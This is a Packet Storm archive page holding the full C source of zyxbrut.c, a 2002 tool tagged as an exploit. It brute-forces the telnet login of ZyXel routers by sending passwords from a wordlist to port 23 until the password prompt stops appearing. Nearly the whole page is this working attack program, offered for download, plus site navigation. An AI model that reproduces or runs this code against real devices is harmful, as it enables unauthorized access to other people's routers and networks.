what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

zyxbrut.c

zyxbrut.c
Posted Dec 14, 2002
Authored by BetaFly Computer Team

Zyxbrut.c is a brute force program written for the ZyXel router telnet service.

tags | exploit
SHA-256 | 09a2e8873fc29128a79a933087fd6b993b20bc25a6fb311b7d0228b7d714db16

zyxbrut.c

Change Mirror Download
/*

ZYXEL-brutuz v 1.0.0

Password-brutforcer for ZyXel Routerz...

C'ed by [ zWARYAG ] / BetaFly Computer Team

to compile : cc zyxbrut.c -o zyxbrut

Aug : 2k2

thnkzz to DruiD / BetaFly CT.

kengurenko@australkia.edu

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>

void USAGE(void);

int main(int argc, char *argv[])
{
int port=23;
int s;
struct sockaddr_in addr;
int sock;
char pass_buf[30];
FILE *pass_filePtr;
char banner[2048];
char finder[5]="asswo";

if(argc!=3) USAGE();

if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("Socket ERROR");
exit(1);
}

addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(argv[1]);

if ((pass_filePtr=fopen(argv[2],"r"))==NULL) {
printf("[ERROR] '%s' could not be opened!\n",argv[2]);
exit(1);
}


fscanf(pass_filePtr,"%s", pass_buf);

while(!feof(pass_filePtr)) {

if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("Socket ERROR");
exit(1);
}

if ((connect(sock,(struct sockaddr *) &addr, sizeof(addr))) == 0) {

bzero(banner,sizeof(banner));

s=send(sock,pass_buf,sizeof(pass_buf),0);
read(sock,banner,sizeof(banner));

s=send(sock,"\n",sizeof("\n"),0);
read(sock,banner,sizeof(banner));

if(strstr(banner,finder)) printf("%s\n",pass_buf);
else {
printf("\nOK! Password iz : %s\n",pass_buf);
close(sock);
exit(0);
}

}

fscanf(pass_filePtr,"%s", pass_buf);
close(sock);
}

return 0;
}


void USAGE()
{
printf("\n");
printf(" ZyXel-Brutuz v.1.0 by [zWARYAG] / BetaFly Computer Team\n");
printf(" Uze : zyxbrut <ip-addr> <passlizt>\n");
printf("\n");
exit(0);
}


Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close